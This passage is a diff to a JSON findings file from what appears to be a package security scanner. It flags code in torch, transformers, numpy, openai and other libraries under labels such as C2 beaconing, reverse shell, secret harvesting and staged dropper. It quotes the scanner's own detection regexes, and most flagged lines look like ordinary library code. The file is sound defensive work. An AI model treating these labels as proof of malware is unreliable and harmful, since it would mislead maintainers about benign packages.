+      "evidence": "L4677:         while True: sha256:04afb38843e4125d1476f3f04bdad0edf1f63f8d75ad49a713b13e4bc68612fb",
+      "evidence_hash": "18877a2502c862b46a5d7e33fa7c39ab4ef32da7e1b07f596fd455f4376770c6"
+    },
+    {
+      "package": "huggingface-hub",
+      "file": "huggingface_hub/hf_api.py",
+      "check": "C2 polling/beaconing loop detected",
+      "severity": "CRITICAL",
+      "evidence": "L3746:         while True: sha256:0c73ed1a7447120b112c063b14e720c6695bc11d00eb6b912cd0f10dc3e29b31",
+      "evidence_hash": "22f50b930e44146c5350bb99e6e6ebb09feea9bf1e899e407bedc4ffaf06721b"
     },
     {
       "package": "huggingface-hub",
@@ -159,8 +183,8 @@
       "file": "huggingface_hub/utils/_http.py",
       "check": "C2 polling/beaconing loop detected",
       "severity": "CRITICAL",
-      "evidence": "L443:     while True: sha256:0ab4fed32d3af10f361963371f681923481377508a405b5d8770cef75f859168",
-      "evidence_hash": "1484f6b92f41c427ba8cbc7c4695a94975fea683dfa83aa510b4b0e982be4721"
+      "evidence": "L462:     while True: sha256:c75d1ee228cf7703a8c28551d649395a1f89f69a3aba69413f5bbcbd10c31958",
+      "evidence_hash": "d4d5f83fed39b87898cf776d5dad0bf1a6388a932f5fb7997d1070b50e46213e"
     },
     {
       "package": "huggingface-hub",
@@ -218,6 +242,22 @@
       "evidence": "L5: import socket sha256:915068303029fa5806199f256fb74504c65f253f9aee8ea23d8e384bb772b1c7",
       "evidence_hash": "30be130f165f418dfd37b144c5ae333de184b95f828ab8bd4010a67b84a5f814"
     },
+    {
+      "package": "multiprocess",
+      "file": "multiprocess/tests/__init__.py",
+      "check": "Reverse shell / bind shell pattern",
+      "severity": "CRITICAL",
+      "evidence": "L3355:                     os.dup2(conn.fileno(), i) | L3387:                          \"test needs os.dup2()\") | L3405:             os.dup2(fd, newfd) | L19: import socket sha256:26a745abdc7e89da28ab943394234d8ccb415e805477c3cc1f7d4766341a4c4c",
+      "evidence_hash": "a6b9bb85e9bb6682ab0dea4f95fd9266e8802f118c76d86dd87f7ab5864872cf"
+    },
+    {
+      "package": "multiprocess",
+      "file": "multiprocess/tests/__init__.py",
+      "check": "Reverse shell / bind shell pattern",
+      "severity": "CRITICAL",
+      "evidence": "L3521:                     os.dup2(conn.fileno(), i) | L3553:                          \"test needs os.dup2()\") | L3571:             os.dup2(fd, newfd) | L20: import socket sha256:07d2933301c0dbeeb6e42381687827d8dd7cfd7471986c559ca64283d5ae6e24",
+      "evidence_hash": "db1f4ca69865ec3911d7450fe11d212b817139deda21cd7a4ee32d547a8dc452"
+    },
     {
       "package": "numba",
       "file": "numba/pycc/decorators.py",
@@ -231,7 +271,7 @@
       "file": "numba/tests/support.py",
       "check": "Reverse shell / bind shell pattern",
       "severity": "CRITICAL",
-      "evidence": "L1021:         os.dup2(w, fd) | L1026:         os.dup2(save, fd)",
+      "evidence": "L1016:         os.dup2(w, fd) | L1021:         os.dup2(save, fd)",
       "evidence_hash": "fea7aa03d48bf0f4386302fa444984c4f5dfc772cfec3f1df199fd33a52eec10"
     },
     {
@@ -298,13 +338,21 @@
       "evidence": "Env: L105:     token = os.environ.get(\"AWS_BEARER_TOKEN_BEDROCK\") | L150:     environment_token = os.environ.get(\"AWS_BEARER_TOKEN_BEDROCK\")\nNetwork: L415:         http_client: httpx.Client | None = None, | L531:         http_client: httpx.Client | None = None, | L649:         http_client: httpx.AsyncClient | None = None, | L767:         http_client: httpx.AsyncClient | None = None,",
       "evidence_hash": "92dbec8ccd79c1e0bc41e93cdd0bdbb091220616c6a1352873196e9dda6bd85c"
     },
+    {
+      "package": "openai",
+      "file": "openai/resources/beta/responses/responses.py",
+      "check": "C2 polling/beaconing loop detected",
+      "severity": "CRITICAL",
+      "evidence": "L3999:         while True: sha256:df298b6eaf3416589b79f4ef283f8fb76e54d505bfda8840673f8e6419117e2e",
+      "evidence_hash": "10ce5cb5a7097fcff4042ddcfb4802edda60aa4b7b113c8b926a52ddb76f78c2"
+    },
     {
       "package": "openai",
       "file": "openai/resources/beta/threads/runs/runs.py",
       "check": "C2 polling/beaconing loop detected",
       "severity": "CRITICAL",
-      "evidence": "L1074:         while True: sha256:ef6d59a4a10b73a5af491f10af2885b7a309fda9468eb0f9572d19558d3ceb9f",
-      "evidence_hash": "43c03b55fedcbc980e5e6649c3c4493729128d280cc868349ab9590908ea5f99"
+      "evidence": "L1053:         while True: sha256:973bb1aeca2e17e022872dc343a1bf5d8fe33bfa59fe01e2f8fe875522db5bce",
+      "evidence_hash": "24626e4aa53047a515ead563b42c07c43f73a2c5b82978fa59f58ffc2859e19b"
     },
     {
       "package": "openai",
@@ -319,7 +367,7 @@
       "file": "openai/resources/responses/responses.py",
       "check": "C2 polling/beaconing loop detected",
       "severity": "CRITICAL",
-      "evidence": "L3803:         while True: sha256:1ce0b5a388c747945cdfda1a71b77afdfd03ae840d7aa9fa62f02eb00aa5e29f",
+      "evidence": "L3950:         while True: sha256:1ce0b5a388c747945cdfda1a71b77afdfd03ae840d7aa9fa62f02eb00aa5e29f",
       "evidence_hash": "6de300ebb5e6e17cb51c89cbcdf08515a44655182f0776f0908a9d1043ebbcd7"
     },
     {
@@ -495,16 +543,16 @@
       "file": "sklearn/datasets/_openml.py",
       "check": "C2 polling/beaconing loop detected",
       "severity": "CRITICAL",
-      "evidence": "L100:             while True: sha256:270363bb66980201e477f9b94886e4023f7a3d21b5ce026b7603a8c249a50c5b",
-      "evidence_hash": "53edbe07c312d459068d38e537b5114e65685ac3d4487b0423fa4542b5df20fe"
+      "evidence": "L100:             while True: sha256:1f05a1b4fdd843b309634f583cb5e919866ef38ec5aa0b7d8a66ac8820655594",
+      "evidence_hash": "69597a64e5670a0f9a3c2aafc0bde4160f6170a9e2dc38f2c413cfa8d22ad193"
     },
     {
       "package": "scikit-learn",
       "file": "sklearn/datasets/_openml.py",
       "check": "C2 polling/beaconing loop detected",
       "severity": "CRITICAL",
-      "evidence": "L100:             while True: sha256:1f05a1b4fdd843b309634f583cb5e919866ef38ec5aa0b7d8a66ac8820655594",
-      "evidence_hash": "69597a64e5670a0f9a3c2aafc0bde4160f6170a9e2dc38f2c413cfa8d22ad193"
+      "evidence": "L100:             while True: sha256:270363bb66980201e477f9b94886e4023f7a3d21b5ce026b7603a8c249a50c5b",
+      "evidence_hash": "53edbe07c312d459068d38e537b5114e65685ac3d4487b0423fa4542b5df20fe"
     },
     {
       "package": "scikit-learn",
@@ -586,6 +634,14 @@
       "evidence": "L1221:       os.dup2(self.ostream.fileno(), self.orig_stream_fileno) | L1226:       os.dup2(self.orig_stream_dup, self.orig_stream_fileno)",
       "evidence_hash": "bba233b67f8ea4f0723b2fecaabf56528531bccd77ace836165bf38b47246bcc"
     },
+    {
+      "package": "sentencepiece",
+      "file": "sentencepiece/__init__.py",
+      "check": "Reverse shell / bind shell pattern",
+      "severity": "CRITICAL",
+      "evidence": "L772:             os.dup2(self.ostream.fileno(), self.orig_stream_fileno) | L777:             os.dup2(self.orig_stream_dup, self.orig_stream_fileno)",
+      "evidence_hash": "65b5a11cce128fe09b3f238c01bed7c883d1740d7d46d659118f67940f6c17dc"
+    },
     {
       "package": "setuptools",
       "file": "distutils-precedence.pth",
@@ -642,6 +698,14 @@
       "evidence": "Base64: L1211:                     content = base64.b64decode(data)\nSubprocess: L2692:                             subprocess.run(\nL2693:                                 cmd.split(), capture_output=True, text=True, check=True\nL2694:                             ) | L2995:             cmd_output = subprocess.run(\nL2996:                 (\"openssl\", \"sha512\", filename), capture_output=True, text=True\nL2997:             ) | L3707:                         out = subprocess.check_output(\nL3708:                             [\"ldd\", os.path.join(search, file)]\nL3709:                         ) | L3791:             jobs.append(functools.partial(subprocess.check_call, cmd)) | L3876:                     subprocess.check_call(\nL3877:                         shlex.split(halide_cmd_gen.get_command_line())\nL3878:                     ) | L4336:                             subprocess.check_output(\nL4337:                                 cmd_parts, stderr=subprocess.STDOUT, env=os.environ\nL4338:                             ) | L4591:                         output = subprocess.check_output(\nL4592:                             cmd_parts,\nL4593:                             stderr=subprocess.STDOUT,\nL4594:                             text=True,\nL4595:                             env=os.environ,\nL4596:                         )",
       "evidence_hash": "c09774087b702a6c5d6e2e85d9239c7c241ec938fbe9c0153e8f0b5c0710389b"
     },
+    {
+      "package": "torch",
+      "file": "torch/_inductor/codecache.py",
+      "check": "base64 decode + subprocess execution (staged payload)",
+      "severity": "CRITICAL",
+      "evidence": "Base64: L1727:                     content = base64.b64decode(data)\nSubprocess: L3270:                             subprocess.run(\nL3271:                                 cmd, capture_output=True, text=True, check=True\nL3272:                             ) | L3583:             cmd_output = subprocess.run(\nL3584:                 (\"openssl\", \"sha512\", filename), capture_output=True, text=True\nL3585:             ) | L4338:                         out = subprocess.check_output(\nL4339:                             [\"ldd\", os.path.join(search, file)]\nL4340:                         ) | L4422:             jobs.append(functools.partial(subprocess.check_call, cmd)) | L4507:                     subprocess.check_call(\nL4508:                         shlex.split(halide_cmd_gen.get_command_line())\nL4509:                     ) | L4992:                             subprocess.check_output(\nL4993:                                 cmd_parts, stderr=subprocess.STDOUT, env=os.environ\nL4994:                             ) | L5247:                         output = subprocess.check_output(\nL5248:                             cmd_parts,\nL5249:                             stderr=subprocess.STDOUT,\nL5250:                             text=True,\nL5251:                             env=os.environ,\nL5252:                         )",
+      "evidence_hash": "87f77b5f51cb84fe9950fdeeb90fe8710e1b863100e90b5e2cfb228a725bee06"
+    },
     {
       "package": "torch",
       "file": "torch/ao/__init__.py",
@@ -695,7 +759,7 @@
       "file": "torch/testing/_internal/common_utils.py",
       "check": "Harvests environment variables/secrets AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "Env: L4770:         env = os.environ.copy()\nNetwork: L4832:         with request.urlopen(url, timeout=15) as f1, open(path, 'wb' if binary else 'w') as f2: | L4850:     with closing(socket.socket(socket.AF_INET, socket.SOCK_STREAM)) as sock:",
+      "evidence": "Env: L4900:         env = os.environ.copy()\nNetwork: L4962:         with request.urlopen(url, timeout=15) as f1, open(path, 'wb' if binary else 'w') as f2: | L4980:     with closing(socket.socket(socket.AF_INET, socket.SOCK_STREAM)) as sock:",
       "evidence_hash": "704a851b9d68c9b885b9e15538bd7e96f03875503b618fe6f126c4438edd7386"
     },
     {
@@ -706,6 +770,14 @@
       "evidence": "L32: import socket sha256:89faaaa8bc908e02dad73fd59b2b481fa91189c84b39b556c2766e71d2783bf3",
       "evidence_hash": "3d23d77ace91812a07cb9508cf352185d154176e8e8c8b9b28fa92cdbcfe0d53"
     },
+    {
+      "package": "torch",
+      "file": "torch/testing/_internal/common_utils.py",
+      "check": "Reverse shell / bind shell pattern",
+      "severity": "CRITICAL",
+      "evidence": "L32: import socket sha256:ba439cbf568b194872f1d974c02b0487e51f677b67e379400522d0992600bd2d",
+      "evidence_hash": "88e98b227573997f86eedea8e885a407b0dd549d46d4a3f0b840ec5aafe66865"
+    },
     {
       "package": "torchvision",
       "file": "torchvision/datasets/utils.py",
@@ -743,8 +815,8 @@
       "file": "transformers/testing_utils.py",
       "check": "C2 polling/beaconing loop detected",
       "severity": "CRITICAL",
-      "evidence": "L1663:     while True: sha256:969e911d30c37a279ad915fb8c3d2d0a3f5705a7eb82ae6e00687388b68bbe65",
-      "evidence_hash": "2aa8e94baa805d599720a16afee6f08976482e301333e619e6c343389498ad15"
+      "evidence": "L1577:     while True: sha256:2c6152f9da685f728e58d39dfc1827bc794f52606f56983bf38b5c6d0857cd5b",
+      "evidence_hash": "cdada67f3327237f00838a6750a4908dfaf76b9ab30c1352495c340d4fbd15c9"
     },
     {
       "package": "transformers",
@@ -759,15 +831,15 @@
       "file": "transformers/testing_utils.py",
       "check": "C2 polling/beaconing loop detected",
       "severity": "CRITICAL",
-      "evidence": "L1577:     while True: sha256:2c6152f9da685f728e58d39dfc1827bc794f52606f56983bf38b5c6d0857cd5b",
-      "evidence_hash": "cdada67f3327237f00838a6750a4908dfaf76b9ab30c1352495c340d4fbd15c9"
+      "evidence": "L1699:     while True: sha256:969e911d30c37a279ad915fb8c3d2d0a3f5705a7eb82ae6e00687388b68bbe65",
+      "evidence_hash": "2aa8e94baa805d599720a16afee6f08976482e301333e619e6c343389498ad15"
     },
     {
       "package": "transformers",
       "file": "transformers/testing_utils.py",
       "check": "Harvests environment variables/secrets AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "Env: L284:         value = os.environ[key] | L300:         value = os.environ[key] | L2129:         env = os.environ.copy() | L2251:             for k in list(os.environ.keys()):\nNetwork: L2561:     with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:",
+      "evidence": "Env: L288:         value = os.environ[key] | L304:         value = os.environ[key] | L2165:         env = os.environ.copy() | L2287:             for k in list(os.environ.keys()):\nNetwork: L2597:     with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:",
       "evidence_hash": "73ff16aee09cf163fb3a7a04dfa2cf610595bde2f19460a579397695f728e3f4"
     },
     {
@@ -799,16 +871,16 @@
       "file": "trl/extras/vllm_client.py",
       "check": "C2 polling/beaconing loop detected",
       "severity": "CRITICAL",
-      "evidence": "L146:         while True: sha256:2beedc742e1f085eaa10fd3bc40be97d2331d21887ef1b9ccdfa2150a184edfe",
-      "evidence_hash": "1540dffaaa053780e953e04c11d9c6b9c74b91cb60f3e6d87451ba7fe7db46db"
+      "evidence": "L152:         while True: sha256:93e7d409e300af445376e6defbe2d0241aa19ecf63ed41b780fbb91c7d09856f",
+      "evidence_hash": "208838617172de61bca201d2a1bbeb5aa5aaa55feb1a1069cf39214673a7d6d1"
     },
     {
       "package": "trl",
       "file": "trl/extras/vllm_client.py",
       "check": "C2 polling/beaconing loop detected",
       "severity": "CRITICAL",
-      "evidence": "L152:         while True: sha256:93e7d409e300af445376e6defbe2d0241aa19ecf63ed41b780fbb91c7d09856f",
-      "evidence_hash": "208838617172de61bca201d2a1bbeb5aa5aaa55feb1a1069cf39214673a7d6d1"
+      "evidence": "L146:         while True: sha256:2beedc742e1f085eaa10fd3bc40be97d2331d21887ef1b9ccdfa2150a184edfe",
+      "evidence_hash": "1540dffaaa053780e953e04c11d9c6b9c74b91cb60f3e6d87451ba7fe7db46db"
     },
     {
       "package": "trl",
@@ -866,6 +938,14 @@
       "evidence": "Crypto: L294:     r\"|\\b(?:xprv|xpub|bc1|0x[a-fA-F0-9]{40})\\b\",\nNetwork: L53: import urllib.request | L1757:         req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758:         with urllib.request.urlopen(req, timeout = 30) as resp:",
       "evidence_hash": "278ff15b0b702d37d7f0b30a1e55a31bf2b11883685718a47478fbb5ce7f5212"
     },
+    {
+      "package": "unsloth-zoo",
+      "file": "scripts/scan_packages.py",
+      "check": "Writes to /tmp and executes (staged dropper)",
+      "severity": "CRITICAL",
+      "evidence": "L308:     r\"/tmp/\\S+.*(?:subprocess|os\\.system|os\\.popen|Popen|chmod.*\\+x)\", | L308:     r\"/tmp/\\S+.*(?:subprocess|os\\.system|os\\.popen|Popen|chmod.*\\+x)\", sha256:78268349021e21bedcd2eaaa5b4a71b0de1d52e023ada914dfdc09515ee1aad8",
+      "evidence_hash": "590fe1c96c442fbea5eb8642650257bc0b0199e919b9bacdb11dfa767b6fe839"
+    },
     {
       "package": "unsloth-zoo",
       "file": "tests/security/fixtures/_build.py",
@@ -919,16 +999,16 @@
       "file": "tests/test_mlx_save_export_regressions.py",
       "check": "Writes to /tmp and executes (staged dropper)",
       "severity": "CRITICAL",
-      "evidence": "L164:         temporary_location=\"/tmp/ignored\", sha256:78837e80d48e872ef191aaacfe5e1c621a98a20df486a70a41d1a932d074a5b3",
-      "evidence_hash": "dd11376e664d0d7e7f4cc4baf57eacd4b7ae7b03222dce3912ce68b63dbfca1e"
+      "evidence": "L165:         temporary_location=\"/tmp/ignored\", sha256:9f8502377b19666288b28399633dfc6740a64d0cb70ad1615e38b1269f94bf37",
+      "evidence_hash": "b7262d6e58f2ebad961dd3e64ca6c32bba356b5044d7a642d7dbd36a58cb6c81"
     },
     {
       "package": "unsloth-zoo",
       "file": "tests/test_quantize_gguf_q2_k_l.py",
       "check": "Writes to /tmp and executes (staged dropper)",
       "severity": "CRITICAL",
-      "evidence": "L67:         input_gguf=\"/tmp/in.gguf\", sha256:32532cadc357beee1009f4e86481bdbe60a0b7bf47f6bb022b05ec1b8e15aed0",
-      "evidence_hash": "49f5b67379de17178f21a9bc93b79d6b94a70ecbdd16de86574934aac30a071d"
+      "evidence": "L67:         input_gguf=\"/tmp/in.gguf\", sha256:06789b55e8f31426c233f37ff7d3729cc9e1f61c0829abd2c00c39216c63c7ad",
+      "evidence_hash": "ad4913d9099eb9b70e09d6860b242eb5f48c67e46d9bf4ae35c1c38a267d753b"
     },
     {
       "package": "unsloth-zoo",
@@ -951,7 +1031,7 @@
       "file": "unsloth_zoo/llama_cpp.py",
       "check": "Creates archive with sensitive data AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "Archive: L938:         with tarfile.open(archive_path, \"r:gz\") as archive:\nNetwork: L691:             response = requests.get(url, timeout = timeout, headers = headers, stream = stream) | L1699:                     response = requests.get(\nL1700:                         LLAMA_CPP_CONVERT_FILE, timeout = (10, 120)\nL1701:                     ) | L2862:     check = requests.get(llama_cpp_chat_file, timeout = 5)",
+      "evidence": "Archive: L938:         with tarfile.open(archive_path, \"r:gz\") as archive:\nNetwork: L691:             response = requests.get(url, timeout = timeout, headers = headers, stream = stream) | L1699:                     response = requests.get(\nL1700:                         LLAMA_CPP_CONVERT_FILE, timeout = (10, 120)\nL1701:                     ) | L2873:     check = requests.get(llama_cpp_chat_file, timeout = 5)",
       "evidence_hash": "b9f3b1652349fa8ef9ac2d1715978aca1e1632165851a00a2698dd47189e410c"
     },
     {
@@ -959,7 +1039,7 @@
       "file": "unsloth_zoo/llama_cpp.py",
       "check": "Harvests environment variables/secrets AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "Env: L125: keynames = \"\\n\" + \"\\n\".join(os.environ.keys()) | L683:     token = os.environ.get(\"GH_TOKEN\") or os.environ.get(\"GITHUB_TOKEN\")\nNetwork: L691:             response = requests.get(url, timeout = timeout, headers = headers, stream = stream) | L1699:                     response = requests.get(\nL1700:                         LLAMA_CPP_CONVERT_FILE, timeout = (10, 120)\nL1701:                     ) | L2862:     check = requests.get(llama_cpp_chat_file, timeout = 5)",
+      "evidence": "Env: L125: keynames = \"\\n\" + \"\\n\".join(os.environ.keys()) | L683:     token = os.environ.get(\"GH_TOKEN\") or os.environ.get(\"GITHUB_TOKEN\")\nNetwork: L691:             response = requests.get(url, timeout = timeout, headers = headers, stream = stream) | L1699:                     response = requests.get(\nL1700:                         LLAMA_CPP_CONVERT_FILE, timeout = (10, 120)\nL1701:                     ) | L2873:     check = requests.get(llama_cpp_chat_file, timeout = 5)",
       "evidence_hash": "9cd0b1bb59c7eb1d814d7636dfd167c34f265eb7c4521a9d88b2bdcfd535b926"
     },
     {
@@ -1002,6 +1082,14 @@
       "evidence": "Obfusc: L87:     __import__(name)\nExec: L735:         exec(\"\"\"exec _code_ in _globs_, _locs_\"\"\")",
       "evidence_hash": "3cb7d8247dea7dd3d7b21ededc0181c58c50099aeb73c9138a286f3d1ad92d4f"
     },
+    {
+      "package": "cffi",
+      "file": "cffi/_cffi_gen_src.py",
+      "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
+      "severity": "HIGH",
+      "evidence": "Obfusc: L52:     compiled = compile(source=pysrc, filename=filename, mode='exec')\nExec: L53:     exec(compiled, globs, globs)",
+      "evidence_hash": "c429e4c977a61db6b7c717b5a552fce74eda622213e49eb5467a3782fd746fb9"
+    },
     {
       "package": "cffi",
       "file": "cffi/setuptools_ext.py",
@@ -1127,7 +1215,7 @@
       "file": "numba/tests/support.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L879:     __import__(modname)\nExec: L813:     eval(co, globs, ns)",
+      "evidence": "Obfusc: L874:     __import__(modname)\nExec: L808:     eval(co, globs, ns)",
       "evidence_hash": "649a7d750f903478243b0bcb9e8020521b505fc7fedc5b696ec01f4efc096109"
     },
     {
@@ -1159,7 +1247,7 @@
       "file": "numba/tests/test_np_functions.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L7106:         exec(compile(funcstr, '<string>', 'exec'), globals(), dct)\nExec: L7106:         exec(compile(funcstr, '<string>', 'exec'), globals(), dct)",
+      "evidence": "Obfusc: L7118:         exec(compile(funcstr, '<string>', 'exec'), globals(), dct)\nExec: L7118:         exec(compile(funcstr, '<string>', 'exec'), globals(), dct)",
       "evidence_hash": "9e81164131d16056fb56ad3cd11b8d129d1ff4f5855031e8b501e0335d5c14ed"
     },
     {
@@ -1175,16 +1263,16 @@
       "file": "numpy/testing/_private/utils.py",
       "check": "Anti-analysis/sandbox evasion + suspicious behavior",
       "severity": "HIGH",
-      "evidence": "Anti: L2777:             original_trace = sys.gettrace() | L2779:                 sys.settrace(None) | L2782:                 sys.settrace(original_trace)\nSubprocess: L1478:         output = subprocess.run(cmd, capture_output=True, text=True)\nExec: L1346:     exec(astr, dict) | L1632:         exec(code, globs, locs)",
-      "evidence_hash": "27468a6828101c6c026ae25aca8aa90ef485fd62b2c8f0967479edae9c965844"
+      "evidence": "Anti: L2788:             original_trace = sys.gettrace() | L2790:                 sys.settrace(None) | L2793:                 sys.settrace(original_trace)\nSubprocess: L1486:         output = subprocess.run(cmd, capture_output=True, text=True) | L2889:     res = subprocess.run(cmd, cwd=cwd, capture_output=True, text=True,\nL2890:                          errors=\"replace\", **kwargs)\nExec: L1352:     exec(astr, dict) | L1640:         exec(code, globs, locs)",
+      "evidence_hash": "9c6961817e5b1751e572dfe0858286703bb835870ecdfd6a7a9fdd8372a5dd2b"
     },
     {
       "package": "numpy",
       "file": "numpy/testing/_private/utils.py",
       "check": "Anti-analysis/sandbox evasion + suspicious behavior",
       "severity": "HIGH",
-      "evidence": "Anti: L2788:             original_trace = sys.gettrace() | L2790:                 sys.settrace(None) | L2793:                 sys.settrace(original_trace)\nSubprocess: L1486:         output = subprocess.run(cmd, capture_output=True, text=True) | L2889:     res = subprocess.run(cmd, cwd=cwd, capture_output=True, text=True,\nL2890:                          errors=\"replace\", **kwargs)\nExec: L1352:     exec(astr, dict) | L1640:         exec(code, globs, locs)",
-      "evidence_hash": "9c6961817e5b1751e572dfe0858286703bb835870ecdfd6a7a9fdd8372a5dd2b"
+      "evidence": "Anti: L2777:             original_trace = sys.gettrace() | L2779:                 sys.settrace(None) | L2782:                 sys.settrace(original_trace)\nSubprocess: L1478:         output = subprocess.run(cmd, capture_output=True, text=True)\nExec: L1346:     exec(astr, dict) | L1632:         exec(code, globs, locs)",
+      "evidence_hash": "27468a6828101c6c026ae25aca8aa90ef485fd62b2c8f0967479edae9c965844"
     },
     {
       "package": "numpy",
@@ -1199,7 +1287,7 @@
       "file": "PIL/Image.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L422:         __import__(f\"{__spec__.parent}.{plugin}\", globals(), locals(), []) | L490:             __import__(f\"{__spec__.parent}.{plugin}\", globals(), locals(), [])\nExec: L3772: def eval(image: Image, *args: Callable[[int], float]) -> Image:",
+      "evidence": "Obfusc: L422:         __import__(f\"{__spec__.parent}.{plugin}\", globals(), locals(), []) | L490:             __import__(f\"{__spec__.parent}.{plugin}\", globals(), locals(), [])\nExec: L3776: def eval(image: Image, *args: Callable[[int], float]) -> Image:",
       "evidence_hash": "c2c1e7ae44e15862caf8de549d09db7b35e93282450f07ef61aaf5450a408c13"
     },
     {
@@ -1255,7 +1343,7 @@
       "file": "setuptools/_distutils/compilers/C/base.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L1286:         __import__(module_name)\nExec: L1113:         if lib_type not in eval(expected):",
+      "evidence": "Obfusc: L1287:         __import__(module_name)\nExec: L1114:         if lib_type not in eval(expected):",
       "evidence_hash": "368651e9818ed2d1bb009027d3bcfbf94ae30639c0882a6c2bddde97b8c4f1e5"
     },
     {
@@ -1271,7 +1359,7 @@
       "file": "setuptools/tests/config/test_pyprojecttoml.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L364:         \"setup.py\": \"__import__('setuptools').setup(include_package_data=False)\",\nExec: L98:             \"__main__.py\": \"def exec(): print('hello')\",",
+      "evidence": "Obfusc: L387:         \"setup.py\": \"__import__('setuptools').setup(include_package_data=False)\",\nExec: L98:             \"__main__.py\": \"def exec(): print('hello')\",",
       "evidence_hash": "067d41014f72a61d8b4adf25f3659d1f66a0e909f732223f48837aa7684df4e6"
     },
     {
@@ -1279,7 +1367,7 @@
       "file": "setuptools/tests/test_editable_install.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L120: SETUP_SCRIPT_STUB = \"__import__('setuptools').setup()\"\nExec: L449:         exec(finder, loc, loc)",
+      "evidence": "Obfusc: L120: SETUP_SCRIPT_STUB = \"__import__('setuptools').setup()\"\nExec: L447:         exec(finder, loc, loc)",
       "evidence_hash": "a78d7f5af7eb4ba92656cda258c195b92f6337c585c97d0823e47a9d4a2eb15d"
     },
     {
@@ -1322,12 +1410,20 @@
       "evidence": "Obfusc: L919:     c = compile(funcstr, filename, 'exec')\nExec: L163:             module = eval(import_command) | L170:                 exec(import_command, {}, namespace) | L903:                     exec(ln, {}, namespace) | L909:                     exec(ln, {}, namespace) | L920:     exec(c, namespace, funclocals)",
       "evidence_hash": "ab4f5819576a70038301668b8f3e4a781c4b757b146117d5d93eab1896a5a6cd"
     },
+    {
+      "package": "tensorboard",
+      "file": "tensorboard/plugins/projector/tf_projector_plugin/projector_binary.js",
+      "check": "Python wheel ships large JS bundle (uncommon; manually review)",
+      "severity": "HIGH",
+      "evidence": "sha256: 53c38430766be25dc672a30846ac3b9eba86aee35eb0746785ec012647c7d9a2",
+      "evidence_hash": "2c6384e8115a6d5dacf1f84d8f724832d8dc59feb442bb98ffae0857c0ccb381"
+    },
     {
       "package": "torch",
       "file": "torch/_dynamo/bytecode_debugger.py",
       "check": "Anti-analysis/sandbox evasion + suspicious behavior",
       "severity": "HIGH",
-      "evidence": "Anti: L1048:             self._old_trace = sys.gettrace() | L1049:             sys.settrace(self._settrace_callback) | L1106:             sys.settrace(self._old_trace)\nExec: L683:                         result = eval(arg, frame_globals, eval_locals) | L708:                     result = eval(cmd, frame_globals, eval_locals) | L716:                         exec(cmd, frame_globals, eval_locals)",
+      "evidence": "Anti: L1052:             self._old_trace = sys.gettrace() | L1053:             sys.settrace(self._settrace_callback) | L1113:             sys.settrace(self._old_trace)\nExec: L684:                         result = eval(arg, frame_globals, eval_locals) | L709:                     result = eval(cmd, frame_globals, eval_locals) | L717:                         exec(cmd, frame_globals, eval_locals)",
       "evidence_hash": "dc2afd1769d357c15b69802bd2799fafa059c0b1dcdd4937528fb5b601962f1b"
     },
     {
@@ -1343,7 +1439,7 @@
       "file": "torch/fx/experimental/rewriter.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L46:         code = compile(dest_ast, \"\", \"exec\")\nExec: L49:         exec(code, globals_dict)",
+      "evidence": "Obfusc: L44:         code = compile(dest_ast, \"\", \"exec\")\nExec: L47:         exec(code, globals_dict)",
       "evidence_hash": "76374f96feed416eec390458843621f33524cfb8d93ef0f3eb4cb1b47d0ad748"
     },
     {
@@ -1359,7 +1455,7 @@
       "file": "torch/package/package_importer.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L602:     def __import__(self, name, globals=None, locals=None, fromlist=(), level=0):\nExec: L412:             exec(code, ns)",
+      "evidence": "Obfusc: L599:     def __import__(self, name, globals=None, locals=None, fromlist=(), level=0):\nExec: L412:             exec(code, ns)",
       "evidence_hash": "c7c0650f0c74a086d224112f77ee76634b8f47afc047ce27fee8c7fc45560512"
     },
     {
@@ -1391,7 +1487,7 @@
       "file": "tests/test_mlx_trainer_internals.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L430:     assert ppl == pytest.approx(__import__(\"math\").exp(2.5))\nExec: L408:         def eval(self):",
+      "evidence": "Obfusc: L1158:     assert ppl == pytest.approx(__import__(\"math\").exp(2.5))\nExec: L1136:         def eval(self):",
       "evidence_hash": "c409327ef6420cc0c7224506fcb82b11bbc9838a6f2f97c9c2cfc00a40c4cdbf"
     },
     {
@@ -1407,7 +1503,7 @@
       "file": "unsloth_zoo/compiler.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
